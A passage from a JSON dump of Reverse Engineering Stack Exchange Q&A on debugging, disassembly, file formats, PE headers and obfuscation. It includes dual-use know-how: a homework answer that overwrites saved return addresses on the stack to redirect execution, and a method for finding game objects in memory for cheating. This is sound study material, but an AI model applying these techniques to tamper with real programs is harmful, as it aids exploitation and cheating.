href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms680632(v=vs.85).aspx\" rel=\"nofollow\">SetThreadContext</a>. The second parameter is <code>CTX</code> variable which holds among various aspects of the thread context, also the address of the thread function.</li>\n<li>In the nutshell, you need to examine <code>CTX.eax</code> to get the address of the thread function. For example <code>0x00402030</code> is the address you've found there. </li>\n<li>Download and install <a href=\"http://processhacker.sourceforge.net\" rel=\"nofollow\">ProcessHacker</a> and with its help, examine the address space of the suspended process. Open the memory page to which the thread function belongs to - <em>Right click on process -> Properties -> Memory</em>. For example page <code>0x00400000</code>.</li>\n<li>ProcessHacker will show you the memory page with local offsets to the page. You will need to go to the offset <code>0x2030</code>.</li>\n<li>Patch the memory at offset <code>0x2030</code> with <code>0xEBFE</code> (remember the previous bytes), this makes the thread loop indefinitely - <code>jmp 0x00402030</code>.</li>\n<li>Now, resume the parent process and attache the new instance of <code>Olly</code> to the suspended process which now is already running. Go to the EP and patch back to the original bytes. </li>\n<li>Good luck with the analysis.</li>\n</ol></li>\n</ul>\n\n<p>I hope this is understandable otherwise ask and I'll clarify. </p>\n"
    },
    {
        "Id": "8425",
        "CreationDate": "2015-03-09T14:50:01.407",
        "Body": "<p>I read the recent article \"Longest x86 Instruction\" </p>\n\n<p><a href=\"http://blog.onlinedisassembler.com/blog/?p=23\" rel=\"nofollow\">http://blog.onlinedisassembler.com/blog/?p=23</a></p>\n\n<p>I attempted to reproduce the curious disassembly issue on a Win7x86 development platform using masm and as the article suggested, redunant prefixes.</p>\n\n<p>Talk is cheap, so here's a toy program (masm32):</p>\n\n<pre><code>.386 .model flat, stdcall\n\noption casemap:none\n\nincludelib \\x\\x\\kernel32.lib\nincludelib \\x\\x\\user32.lib\n\ninclude \\x\\x\\kernel32.inc\ninclude \\x\\x\\user32.inc\ninclude \\x\\x\\windows.inc\n\n.code\n\nstart:\n\ndb 0F3h\ndb 0F3h\ndb 0F3h\ndb 0F3h\ndb 0F3h\ndb 0F3h\ndb 0F3h\n;...6 more bytes later\ndb 089h\ndb 0E5h\n\nend start\n\ninvoke ExitProcess, NULL\n</code></pre>\n\n<p>After linking and assembling, I opened the resulting executable in windbg. </p>\n\n<p>To my disappointment, when I single step, unassemble the $exentry, etc. windbg simply sees the prefixes/bytes as individual instructions, says 'to hell with it' and executes only the valid instructions.</p>\n\n<p>Is there something I'm missing?</p>\n",
        "Title": "Longest x86 Instruction",
        "Tags": "|disassembly|assembly|windbg|",
        "Answer": "<blockquote>\n  <p>Is there something I'm missing?</p>\n</blockquote>\n\n<p>The disconnect is that the <a href=\"http://www2.onlinedisassembler.com/odaweb/\" rel=\"nofollow\">ODA</a> disassembler referenced in <a href=\"http://blog.onlinedisassembler.com/blog/?p=23\" rel=\"nofollow\">http://blog.onlinedisassembler.com/blog/?p=23</a> produces different output than WinDbg's disassembler given the same input.</p>\n\n<p>Perhaps what you're \"missing\" is based on the assumption that all disassemblers produce the same output given the same input, which is not a correct assumption to make.</p>\n"
    },
    {
        "Id": "8434",
        "CreationDate": "2015-03-10T23:38:26.527",
        "Body": "<p>I am trying to obtain the memory map of a process. One way I can think of doing this is to attach Olly/Immunity Debugger to the process and copy the memory map to the clipboard. However, this is probably not a good idea when I'd like to repeat this multiple times consecutively. Is there a tool similar to <a href=\"https://technet.microsoft.com/en-us/sysinternals/bb896656.aspx\" rel=\"nofollow\">ListDLLs</a> that can be used to achieve this? I noticed procdump can be used to dump the memory of a process but I don't need a memory dump: I just need a list of valid memory locations.</p>\n",
        "Title": "Automatically list of mapped memory locations(and their attributes) of a running process",
        "Tags": "|windows|memory|dumping|",
        "Answer": "<p>execute this bat file  you will need windbg in path </p>\n\n<p>it attaches to a running process (hard coded as calc.exe you can script it with %1) dumps the memory map filtered by page_readonly and mapped file and detaches automatically when quitting and sleeps for 10 seconds before repeating and pipes (appends its output to a file of choice that can be processed with your favorite text processing tool)</p>\n\n<pre><code>:begin\necho Date and Time of Address Dump = %date%%time% &gt;&gt; address.text\ncdb -pd -c \"!address -1 -F:PAGE_READONLY,FILEMAP;q\" -pn calc.exe &gt;&gt; address.text\nsleep 10\ngoto begin\n</code></pre>\n\n<p>you can use any test processing tool to parse the output</p>\n\n<pre><code>:grep -iE  \"Date and Time of Address Dump | 80000 \" address.text\nDate and Time of Address Dump = 11/03/201512:25:21.01\n   80000    83000     3000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY MemoryMappedFile \"PageFile\"\nDate and Time of Address Dump = 11/03/201512:25:23.15\n   80000    83000     3000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY MemoryMappedFile \"PageFile\"\nDate and Time of Address Dump = 11/03/201512:25:26.82\n   80000    83000     3000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY MemoryMappedFile \"PageFile\"\n</code></pre>\n"
    },
    {
        "Id": "8440",
        "CreationDate": "2015-03-11T11:33:14.170",
        "Body": "<p>I've got a procedure in IDA Pro with a few local stack variables, but part of them belong to an array. I would like to define the array, but pressing <code>*</code> (Create Array) fails, and pressing <code>Y</code> (Set Type) just brings up the type for the procedure, not the variable.</p>\n\n<p>The same happens if I hover over an instance of its usage rather than its definition in the function prologue.</p>\n\n<p>Oddly enough I seem to be able to rename them just fine.</p>\n\n<p>How do I define a range of local variables to be an array; or, why is it not working for me?</p>\n",
        "Title": "How to make stack variables into an array in IDA Pro",
        "Tags": "|ida|stack-variables|stack|array|",
        "Answer": "<p>Double click the variable name in the disassembly, or press ctrl-k, to open the stack frame window. You can change your variable types there.</p>\n"
    },
    {
        "Id": "8454",
        "CreationDate": "2015-03-13T12:44:29.593",
        "Body": "<p>Let's say I create a program in C like this and compile it on a regular 64-bit desktop machine:</p>\n\n<pre><code>#include &lt;stdint.h&gt;\n\nint main(void)\n{\n    uint64_t a = 0x12345679abcdefULL;\n    uint64_t b = 0xfdcba987654321ULL;\n    uint64_t c = a + b;\n    return 0;\n}\n</code></pre>\n\n<p>I just tested the code using <code>gcc -O0 -S</code>. It seems to allocate two 32-bit values on the stack and add then with <code>addl</code> and <code>adcl</code> separately. This happens for both <code>-m32</code> and <code>-m64</code> switch, even though I am on a 64-bit machine, and there indeed seem to be a dedicated instruction set for 64-bit integers, including operations such as <code>movq</code> and <code>addq</code>.</p>\n\n<ol>\n<li><p>Why did <code>gcc</code> produce code like for a 32-bit machine even if I told it to use 64-bit arithmetic with <code>-m64</code>?</p>\n\n<pre><code>&gt;uname -a\nCYGWIN_NT-6.2-WOW work 1.7.35(0.287/5/3) 2015-03-04 12:07 i686 Cygwin\n\n&gt;gcc --version\ngcc (GCC) 4.9.2\n</code></pre></li>\n</ol>\n\n<p>Now, let's say I'm on a 32-bit machine and I operate on 64-bit integers.</p>\n\n<ol start=\"2\">\n<li><p>The program allocated two 32-bit variables <strong>on the stack</strong>. Is this part of a C/C++ standard, or is allocating them on the heap to be expected with some compilers (because they try to fit a 64-bit integer into a 32-bit stack in a different way)?</p></li>\n<li><p>If I put <code>movq</code> in a program designed for a 32-bit machine, will the desired behavior be emulated, or will the instruction be misunderstood?</p></li>\n</ol>\n",
        "Title": "64-bit integers on 32-bit machines",
        "Tags": "|x86|c|x86-64|stack-variables|",
        "Answer": "<h2><strong>1:</strong></h2>\n\n<p>See the <strong>Immediates</strong> section on <a href=\"https://web.archive.org/web/20160719053302/www.x86-64.org/documentation/assembly.html\" rel=\"nofollow noreferrer\">this 64 bit assembly reference</a>.</p>\n\n<blockquote>\n  <p>Immediate values inside instructions remain 32 bits and their value is sign extended to 64 bits</p>\n</blockquote>\n\n<p>There just isn't an instruction to move a 64 bit immediate value to <em>memory</em> (*). And because it can be emulated nicely by moving two chunks of 32 bit, there was no reason to introduce new 64 bit instructions. (They could have changed the immediate <code>mov</code>s to always use 64 bits. But considering that most constants you'll ever use are &lt;= 2^31, using 32 bit only saves a lot of space for the upper zero bytes, and costs a bit when you actually use larger constants, so this saves memory).</p>\n\n<p>(*) However, there are instructions to move a 64 bit immediate value to the 64 bit registers, because you can't access the high 32 bit in registers, opposed to memory.</p>\n\n<p>I don't know why your program produced separate addl/adcl instructions; this is what i got from your program:</p>\n\n<pre><code>    pushq   %rbp\n    movq    %rsp, %rbp\n    movl    $2041302511, -24(%rbp)\n    movl    $1193046, -20(%rbp)\n    movl    $-2023406815, -16(%rbp)\n    movl    $16632745, -12(%rbp)\n    movq    -16(%rbp), %rax\n    movq    -24(%rbp), %rdx\n    leaq    (%rdx,%rax), %rax\n    movq    %rax, -8(%rbp)\n    movl    $0, %eax\n    leave\n    ret\n</code></pre>\n\n<p>As you can see, the <code>leaq    (%rdx,%rax), %rax</code> adds 64 bit numbers all right. This was a gcc 4.4.7 on a RHEL 6.6 64 bit system. Please, always state your compiler and OS version, as the output may be quite dependent on those.</p>\n\n<h2><strong>2:</strong></h2>\n\n<p>As long as you're dealing with an x86/amd64 architecture, you can probably rely on local variables being put on the stack, and global variables not on the stack. But please note the concept of 'stack' and 'heap' aren't as clearly defined as it would seem. The <code>brk/sbrk</code> mechanism of allocating memory is deprecated; modern implementations use <code>mmap</code>. This might mean you have several small heaps in different sections of your address space. On ARM and MIPS, there's no stack pointer at all - there's just a convention that one specific register serves as the stack pointer, but the instructions to push/pop would work with other registers as well(*). In theory, the compiler is free to do a <code>mmap()</code> at the start of each function to allocate local memory, and <code>munmap()</code> it at the end of the function. The only thing the compiler <em>must</em> do is not keep the memory allocated (for reasonable definitions of allocated) after the function exits.</p>\n\n<p>(*) This is a bit of an oversimplification but demonstrates the concept.</p>\n\n<p>Of course, the idea of using <code>mmap()</code> to make space for local variables is an extreme example, that <em>probably</em> noone uses. But lots of compilers put local variables into processor registers and never reserve space on the stack for them (if you never use a pointer to them, and on architectures that aren't as register-starved as x86). Many architectures use processor registers for function arguments as well. And i've seen microcontroller C compilers that allow you to put all variables local to a function into a static area, if you use a certain keyword so the compiler knows the function isn't called recursively. So, while most of the time, local variables will be placed on the stack, you shouldn't assume this is carved in stone.</p>\n\n<h2><strong>3.</strong></h2>\n\n<p>The instruction will be misunderstood. The processor can be in 32 bit or 64 bit mode, and the same instructions (in the meaning of: the same sequence of instruction bytes) have different meanings in each of them. For example, <code>48 89 43 ec</code> is <code>mov [rbx-20],rax</code> in 64 bit mode, but <code>dec eax; mov DWORD PTR [ebx-0x14],eax</code> in 32 bit mode.</p>\n"
    },
    {
        "Id": "8457",
        "CreationDate": "2015-03-13T17:47:43.843",
        "Body": "<p>I am currently investigating a disk image with a FAT12 file system for data recovery purpose/researching for image file carving. For this investigation, I have the actual files (JPEG images) that need to be carved/recovered from the disk image so that I can validate my results obtained from the carving process/recovery.</p>\n\n<p>During the comparison and analysis from the recovered files, I noticed that exactly between two consecutive clusters (each of size 16384 bytes/32 sectors) of file data, 4 extra/embedded bytes are being encountered. These repetitive and distinct 4 bytes that are being encountered between clusters are not found in the corresponding actual files. I think that these bytes are used somehow by the file system and hence they should be removed, is this right? If yes, what is their purposes and how can be identified during the recovery process?</p>\n\n<p>In fact, when I analyzed the same disk image using <a href=\"http://www.sleuthkit.org/autopsy/\" rel=\"nofollow\">Autopsy</a> the embedded 4 bytes between consecutive clusters were discarded. </p>\n\n<p><strong>Hex dump:</strong></p>\n\n<p>Actual File that needs to be recovered from disk (hex between 2 clusters):</p>\n\n<pre><code>Offset      0  1  2  3  4  5  6  7   8  9 10 11 12 13 14 15\n\n00016336   BC 55 B4 F8 A5 E1 69 82  2A DD 4A 5D DC 46 B9 80   \u00bcU\u00b4\u00f8\u00a5\u00e1i\u201a*\u00ddJ]\u00dcF\u00b9\u20ac\n00016352   E1 33 D3 F9 76 AE 8A 79  2E 22 0F 58 EE 67 FD AD   \u00e13\u00d3\u00f9v\u00ae\u0160y.\" X\u00eeg\u00fd\u00ad\n00016368   49 E9 7B 76 45 99 3E 25  69 36 F2 00 8B 71 70 C0   I\u00e9{vE\u2122&gt;%i6\u00f2 \u2039qp\u00c0\n00016384   FC BB 6D 65 E9 DC F2 30  7E BD 6A B4 BF 17 52 0B   \u00fc\u00bbme\u00e9\u00dc\u00f20~\u00bdj\u00b4\u00bf R \n00016400   64 9A 2D 13 58 B8 0E FB  13 65 9B 1E 87 93 F9 00   d\u0161- X\u00b8 \u00fb e\u203a \u2021\u201c\u00f9 \n00016416   7F 11 55 4F 21 AD A7 3A  51 D7 B9 CF 3C DE 35 25    UO!\u00ad\u00a7:Q\u00d7\u00b9\u00cf&lt;\u00de5%\n</code></pre>\n\n<p>Disk Image:</p>\n\n<pre><code>Offset      0  1  2  3  4  5  6  7   8  9 10 11 12 13 14 15\n\n00132880   BC 55 B4 F8 A5 E1 69 82  2A DD 4A 5D DC 46 B9 80   \u00bcU\u00b4\u00f8\u00a5\u00e1i\u201a*\u00ddJ]\u00dcF\u00b9\u20ac\n00132896   E1 33 D3 F9 76 AE 8A 79  2E 22 0F 58 EE 67 FD AD   \u00e13\u00d3\u00f9v\u00ae\u0160y.\" X\u00eeg\u00fd\u00ad\n00132912   49 E9 7B 76 45 99 3E 25  69 36 F2 00 8B 71 70 C0   I\u00e9{vE\u2122&gt;%i6\u00f2 \u2039qp\u00c0\n00132928   08 B5 A9 88 FC BB 6D 65  E9 DC F2 30 7E BD 6A B4    \u00b5\u00a9\u02c6\u00fc\u00bbme\u00e9\u00dc\u00f20~\u00bdj\u00b4\n00132944   BF 17 52 0B 64 9A 2D 13  58 B8 0E FB 13 65 9B 1E   \u00bf R d\u0161- X\u00b8 \u00fb e\u203a \n00132960   87 93 F9 00 7F 11 55 4F  21 AD A7 3A 51 D7 B9 CF   \u2021\u201c\u00f9  UO!\u00ad\u00a7:Q\u00d7\u00b9\u00cf\n00132976   3C DE 35 25                                        &lt;\u00de5%\n</code></pre>\n\n<p>From the above hex dump it can be visualized that <strong>08 B5 A9 88</strong> is exactly between the two clusters, however in the actual file those 4 bytes were eliminated.</p>\n\n<p>This case was encountered while recovering JPEG images from <a href=\"http://digitalcorpora.org/corpora/disk-images/nps-2009-canon2/\" rel=\"nofollow\">nps-2009-canon2-gen6 disk image</a></p>\n",
        "Title": "Extra bytes between clusters in FAT12",
        "Tags": "|file-format|hex|digital-forensics|operating-systems|binary-format|",
        "Answer": "<p>Your files aren't plain disk images, they are using the <a href=\"http://www.forensicswiki.org/wiki/ASR_Data%27s_Expert_Witness_Compression_Format\" rel=\"nofollow\">Encase File Format</a>. Your repetitive bytes seem to be artifacts of that file format.</p>\n\n<p>There's a <a href=\"https://www.guidancesoftware.com/resources/Pages/doclib/Document-Library/EnCase-Evidence-File-Format-Version-2.aspx\" rel=\"nofollow\">newer specification</a> of the file format as well, but it requires registration.</p>\n\n<p>Autopsy probably recognizes the file format, so it removes the parts of the file that belong to the file format, not the sector dump data.</p>\n"
    },
    {
        "Id": "8464",
        "CreationDate": "2015-03-14T13:05:44.540",
        "Body": "<p>This is a homework assignment, so I'd appreciate it if I would get a hint only, not a full answer. I wrote this program which is supposed to print the following:</p>\n\n\n\n<pre><code>Executing function_a\nExecuting function_b\nFinished!\n</code></pre>\n\n<p>The <code>main()</code> and <code>function_a()</code> functions were given, and I'm only allowed to change <code>function_b()</code> in the marked part.</p>\n\n\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdint.h&gt;\n\nvoid function_b(void) {\n    char buffer[4];\n\n    // edit between here...\n    uint32_t * x = &amp;buffer;\n    while (*(x++) != 0xa0b1c2d3);           // Find the beacon\n    *(uint32_t*)(&amp;buffer + 6) = *(x + 2);   // Copy return address from caller\n    *(uint32_t*)(&amp;buffer + 5) = *(x + 1);   // Copy frame pointer from caller\n    // ... and here\n\n    fprintf(stdout, \"Executing function_b\\n\");\n}\n\nvoid function_a(void) {\n    int beacon = 0xa0b1c2d3;\n    fprintf(stdout, \"Executing function_a\\n\");\n    function_b();\n    fprintf(stdout, \"Executed function_b\\n\");\n}\n\nint main(void) {\n    function_a();\n    fprintf(stdout, \"Finished!\\n\");\n    return 0;\n}\n</code></pre>\n\n<p>The problem is of course to make sure that 'Executed function_b' is not outputted. We have to manipulate the stack so that when returning from <code>function_b()</code> we don't go back to its actual parent <code>function_a()</code> but to its grandfather <code>main()</code>.</p>\n\n<p>The part of the code I wrote finds the beacon from <code>function_a()</code> and then copies the return address and saved frame pointer of <code>function_a()</code> to the frame of <code>function_b()</code>. My program does the following:</p>\n\n\n\n<pre><code>Executing function_a\nExecuting function_b\nFinished!\nSegmentation fault (core dumped)\n</code></pre>\n\n<p>So it does the right thing, except for the segfault. It fails when returning from the <code>main()</code> function. I used gdb to get this:</p>\n\n\n\n<pre><code>(gdb) run\nStarting program: /.../exercise2c\nExecuting function_a\n\nBreakpoint 1, function_b () at exercise2c.c:9\n9       *(uint32_t*)(&amp;buffer + 6) = *(x + 2);   // Copy return address from caller\n(gdb) backtrace\n#0  function_b () at exercise2c.c:9\n#1  0x0000000000400607 in function_a () at exercise2c.c:18\n#2  0x0000000000400630 in main () at exercise2c.c:23\n(gdb) info frame\nStack level 0, frame at 0x7fffffffdcb0:\n rip = 0x400593 in function_b (exercise2c.c:9); saved rip = 0x400607\n called by frame at 0x7fffffffdcd0\n source language c.\n Arglist at 0x7fffffffdca0, args: \n Locals at 0x7fffffffdca0, Previous frame's sp is 0x7fffffffdcb0\n Saved registers:\n  rbp at 0x7fffffffdca0, rip at 0x7fffffffdca8\n(gdb) frame 1\n#1  0x0000000000400607 in function_a () at exercise2c.c:18\n18      function_b();\n(gdb) info frame\nStack level 1, frame at 0x7fffffffdcd0:\n rip = 0x400607 in function_a (exercise2c.c:18); saved rip = 0x400630\n called by frame at 0x7fffffffdce0, caller of frame at 0x7fffffffdcb0\n source language c.\n Arglist at 0x7fffffffdcc0, args: \n Locals at 0x7fffffffdcc0, Previous frame's sp is 0x7fffffffdcd0\n Saved registers:\n  rbp at 0x7fffffffdcc0, rip at 0x7fffffffdcc8\n(gdb) step\n10      *(uint32_t*)(&amp;buffer + 5) = *(x + 1);   // Copy frame pointer from caller\n(gdb) step\n12      fprintf(stdout, \"Executing function_b\\n\");\n(gdb) frame 0\n#0  function_b () at exercise2c.c:12\n12      fprintf(stdout, \"Executing function_b\\n\");\n(gdb) info frame\nStack level 0, frame at 0x7fffffffdcb0:\n rip = 0x4005b5 in function_b (exercise2c.c:12); saved rip = 0x400630\n called by frame at 0x7fffffffdcd0\n source language c.\n Arglist at 0x7fffffffdca0, args: \n Locals at 0x7fffffffdca0, Previous frame's sp is 0x7fffffffdcb0\n Saved registers:\n  rbp at 0x7fffffffdca0, rip at 0x7fffffffdca8\n(gdb) backtrace\n#0  function_b () at exercise2c.c:12\n#1  0x0000000000400630 in main () at exercise2c.c:23\n(gdb) continue\nContinuing.\nExecuting function_b\nFinished!\n\nProgram received signal SIGSEGV, Segmentation fault.\n0x0000000000400654 in main () at exercise2c.c:26\n26  }(gdb) \nContinuing.\n\nProgram terminated with signal SIGSEGV, Segmentation fault.\nThe program no longer exists.\n</code></pre>\n\n<p>You can clearly see that <code>function_b()</code> indeed returns to <code>main()</code>, but for some reason that I don't understand <code>main()</code> crashes. The only way I could see that happen is that I messed with the stack frame of <code>main()</code>, which I didn't, or that I should have changed something there - but I wouldn't know what.</p>\n\n<p>What's going on here?</p>\n\n<p>Note: the program is compiled with GCC and the flags <code>-g -fno-omit-frame-pointer -fno-stack-protector</code>. I'm on a 64-bit machine.</p>\n",
        "Title": "Returning a C function to its grandfather",
        "Tags": "|c|gdb|x86-64|callstack|",
        "Answer": "<p>As Jason writes, I should use 64-bit pointers. Besides that, it also turns out that I had to copy four numbers from the stack frame. This is working code:</p>\n\n<pre><code>uint64_t * my_ptr = &amp;buf;\nint * x = my_ptr;\n\nwhile (*(++x)  != 0xa0b1c2d3);  // Find the beacon. We could of course simply have a look\nuint64_t * y = x + 1;           // with gdb where it's stored, but this works generically.\n\n*(my_ptr+7) = *(y+3);           // Copy frame information\n*(my_ptr+6) = *(y+2);\n*(my_ptr+5) = *(y+1);\n*(my_ptr+4) = *y;\n</code></pre>\n\n<p>Typically you need to fiddle a bit with what addresses you have to copy. You can get a rough idea using gdb, as you did. The exact numbers depend on the functions and their variables.</p>\n"
    },
    {
        "Id": "8467",
        "CreationDate": "2015-03-15T02:10:39.373",
        "Body": "<p>So in a given game there are objects randomly placed around the map. I've managed (through playing with the memory in cheat engine) find that a single value changes when a certain object is within my draw distance. It's a boolean either 0 or 1. I had expect to then be able to search for the location of these objects (based on an interval of my location at N,E,S, and W of the object in x and y) however I was surprised to find that no values were  found in this range! Is there a piece of software/method by which I could try and figure this sort of problem out?</p>\n\n<p>I realise this is a broad question - I wouldn't like to limit it to a specific game since I wish to apply the method to more than one game. If there are other ways to make the question more narrow please say so in comments and I'll amend!</p>\n",
        "Title": "What's a good method to find the location of objects in a game",
        "Tags": "|memory|",
        "Answer": "<p>I'll make the assumption that the application is written in Visual C++.</p>\n\n<p>CheatEngine itself is already pretty useful for finding your objects - first you need to find the place in code where these objects are created. For example in C++ you'd write:</p>\n\n<pre><code>GameObject* obj = new GameObject();\n</code></pre>\n\n<p>In assembly this is often inlined to a malloc call. So if you use something like IDA Pro to more accurately reverse engineer the assembly, you might see something like this:</p>\n\n<pre><code>;; void* obj = malloc(64);\n\npush  40h      ;; alloc 64 bytes\ncall  _malloc  ;; easilly detected only if program dynamically links to msvcrt.dll\nadd   esp, 4\nmov   [esp+local_C0], eax\n</code></pre>\n\n<p>From this you can figure out that your objects are always 64 bytes in size (this is just an example, so your concrete program probably might have bigger objects).</p>\n\n<p>If you launch the program in Visual Studio (File -> Open.. -> Project/Solution.. -> YourProgram.exe), you can force it to use the Windows debug heap, which will allow you to walk all the dynamically allocated heap nodes and filter out all nodes that are 64 bytes in size.</p>\n\n<p>Now you should have a large collection of potential GameObject pointers and the final level of filtering would be detecting some basic patterns - for example if the class uses virtual functions, the first field of the object will be its VTable entry, thus giving you an easy identifier whether it's a GameObject or not.</p>\n\n<p>This might not be a complete example, but it should be good enough to get you in the right direction.</p>\n"
    },
    {
        "Id": "8475",
        "CreationDate": "2015-03-16T08:12:59.297",
        "Body": "<p>I am investigating car navigation software which runs on QNX and want to replace the startup animation with my own. I have found the files in the firmware which have the extension .canim which likely stands for compressed animation.</p>\n\n<p>The files are zlib compressed and after deflating the files start with HEX <code>41 4E 49 4D 31 20 20 20 20 03 00 00 E0 01 00 00</code>(ANIM1). My question is what file format is this? (possible match: <a href=\"http://en.wikipedia.org/wiki/ANIM\" rel=\"nofollow noreferrer\">Amiga ANIM</a>)</p>\n\n<p>I know that the screen resolution for the device is 800x480 so after DWORD 3&amp;4 are resolution (<code>20 03 00 00</code> -> 80 and <code>E0 01 00 00</code> -> 480</p>\n\n<p>I've uploaded the files <a href=\"https://remkoweijnen.sharefile.eu/d/sf4c7977d4f44fa59\" rel=\"nofollow noreferrer\">here</a>, bin files are deflated versions of the .canim files.</p>\n\n<p>EDIT: some additional info: I found startup pictures in the same folder and they are zlib compressed and are simple RGB pairs with a padding 00 to align at DWORD, eg : <code>04 02 04 00 04 02 04 00 04 02 04 00 04 02 04 00</code></p>\n\n<p>EDIT2: <a href=\"http://ankk-vagcom.com/discover-pro-modifier-le-logo-de-demarrage/\" rel=\"nofollow noreferrer\">This site</a> has video's for each of the possible startup animations.\nAnd these are the startup pictures I have extracted:\n<img src=\"https://i.stack.imgur.com/ThSjK.png\" alt=\"startup_generic.raw2\"></p>\n\n<p>and</p>\n\n<p><img src=\"https://i.stack.imgur.com/xSyJ5.png\" alt=\"startup_vw_dynaudio.raw2\"></p>\n",
        "Title": "What image format is ANIM1",
        "Tags": "|file-format|qnx|",
        "Answer": "<p>The image data is stored as raw RGBA quads, with width/height/start defined in a block near the beginning.</p>\n\n<p>You can extract the image data from the uncompressed bins using this python script:</p>\n\n<pre><code>import struct\nimport sys\nimport os\nfrom PIL import Image\n\nif len(sys.argv) != 3:\n  print 'usage: process.py &lt;filename&gt; &lt;outdir&gt;'\n  sys.exit(1)\n\nout_dir = sys.argv[2]\nif not os.path.exists(out_dir):\n  os.mkdir(out_dir)\n\ndata = open(sys.argv[1],'rb').read()\noffset = 0\n\n(magic,) = struct.unpack_from('&lt;8s', data, offset)\noffset = offset + 8\n\nif magic != 'ANIM1   ':\n  print 'incorrect magic!'\n  sys.exit(1)\n\n\n(stage_width, stage_height, cmdblock_len, unk) = struct.unpack_from('&lt;LLLL', data, offset)\noffset = offset + 16\n\nprint \"stage_width: %d\\nstage_height: %d\\ncmdblock_len: %d\\n\" %(stage_width, stage_height, cmdblock_len)\n\n(cmd_code, img_num, img_width, img_height, bytes_per_pixel, data_start) = struct.unpack_from('&lt;LLLLLL', data, offset)\n\nwhile cmd_code == 0x11:\n  print 'generating img_%d' % (img_num)\n  im = Image.frombuffer('RGBA', (img_width, img_height), data[0x20+cmdblock_len+data_start:], 'raw', 'RGBA', 0, 1)\n  im.save(os.path.join(out_dir, 'img_%d.png'%img_num))\n  offset = offset + 0x20\n  (cmd_code, img_num, img_width, img_height, bytes_per_pixel, data_start) = struct.unpack_from('&lt;LLLLLL', data, offset)\n</code></pre>\n\n<p>The other data in that initial block must be used composite them into the actual animation.</p>\n\n<p>You may be able to inject your own images of the same dimensions/format to replace elements of the animations. It doesn't give you full control, but it should give you some basic capability to customise the animations.</p>\n"
    },
    {
        "Id": "8476",
        "CreationDate": "2015-03-16T10:59:13.120",
        "Body": "<p>I have found problem with finding file offset which actually is program entry point.</p>\n\n<p>In case I experience problem, value of AddressOfEntryPoint is 0x1018. Here is a section which maps this address.</p>\n\n<p><img src=\"https://i.stack.imgur.com/903S0.png\" alt=\"Section header\"></p>\n\n<p>I assume entry point should be <code>0x28 = 0x10 + 0x1018 - 0x1000 (PointerToRawData + AddressOfEntryPoint - VirtualAddress)</code></p>\n\n<p>However tools says it is 0x18 instead. I'm not sure why, made some experiments and came up with another formula. </p>\n\n<pre><code>0x18 = (0x10 / 0x200) * 0x200 + 0x1018 - 0x1000 ((PointerToRawData / FileAlignment) * FileAlignment + AddressOfEntryPoint - VirtualAddress)\n</code></pre>\n\n<p>I use FileAlignment from OptionalHeader and it works great, however I don't know if it is a coincidence or somewhere documented, so asking here for confirmation.</p>\n\n<hr>\n\n<p>Also, probably not important, but file is packed with UPack(0.399), packer signature BE****AD50FF7634EB7C4801.</p>\n",
        "Title": "Problem with entry point detection as a file offset",
        "Tags": "|pe|entry-point|",
        "Answer": "<p>From <a href=\"https://code.google.com/p/corkami/wiki/PE#PointerToRawData\" rel=\"nofollow\">https://code.google.com/p/corkami/wiki/PE#PointerToRawData</a> --</p>\n\n<blockquote>\n  <p>if a section's physical start is lower than 200h (the lower limit for\n  standard alignment), it is rounded down to 0.</p>\n</blockquote>\n\n<p>Thus, the entry point's physical offset would be:\n<code>0x00000018 = 0x00000000 + 0x00001018 - 0x00001000</code> (PointerToRawData_rounded_down + AddressOfEntryPoint - VirtualAddress)</p>\n"
    },
    {
        "Id": "8479",
        "CreationDate": "2015-03-16T17:20:23.567",
        "Body": "<p>I'm wondering what happens if we try to run a jar through Proguard that has already been obfuscated by another obfuscator or Proguard itself? Will the obfuscated class names and methods names be changed by the new obfuscator?</p>\n\n<p>For example, I would like to have those names renamed to something simpler such as <code>a</code> or <code>aab</code> rather than unicode characters. Will another obfuscator change the names?</p>\n\n<p><img src=\"https://i.stack.imgur.com/LupVn.jpg\" alt=\"enter image description here\"></p>\n",
        "Title": "Obfuscating jar already obfuscated",
        "Tags": "|obfuscation|java|",
        "Answer": "<p>It all depends on what the obfuscator does. Proguard is a relatively weak obfuscator - it basically only renames things and strips out unused methods. So running Proguard on the same application twice is pretty much useless, but it won't cause any ill effects.</p>\n\n<p>If you use a stronger obfuscator however, things will almost certainly break. For example, Allatori and Stringer both encrypt constant strings with a key derived from the class and method name of the caller. At runtime, the string decrpytion function uses various hacks to get the name of the caller and then decrypts the string with that. </p>\n\n<p>If you then run Proguard on the obfuscated application, Proguard will blindly rename the classes, meaning that when the string decryption functions are called, the decryption key will be incorrect and the application will get garbage strings at best or much more likely just crash.</p>\n"
    },
    {
        "Id": "8482",
        "CreationDate": "2015-03-17T12:38:12.853",
        "Body": "<p>I am totally new to reverse engineering science and does not know much about the assembly language. By the way, I am working on a data set of disassembled malicious files available at <a href=\"https://www.kaggle.com/c/malware-classification\" rel=\"nofollow\">kaggle</a>. These files are generated by IDA Pro and I do not have access to executable files or IDA Pro.</p>\n\n<p>In addition, I have read several papers on this topic and tried to implement one of them, <a href=\"http://dx.doi.org/10.1145/1653662.1653736\" rel=\"nofollow\">this one</a>. However, I need to generate a <strong>Function Call Graph</strong> from these codes. I have googled for hours, but could not find any open source tool to <strong>statically</strong> generate this graph from disassembled files.</p>\n\n<p>I am a computer science student, hence, as is expected, I am willing to implement one if there are no ones out there, however, I do not know how or where to begin. </p>\n\n<p>To sum it up, I have the following questions:</p>\n\n<pre><code>1- How to generate function call graphs from disassembled files, statically?\n2- Are there any algorithms, tools, or libraries to do this task or similar ones?\n</code></pre>\n\n<p>Regards</p>\n",
        "Title": "How to extract a function call graph from IDA's Pro disassembled file (.asm file)?",
        "Tags": "|disassembly|functions|call|",
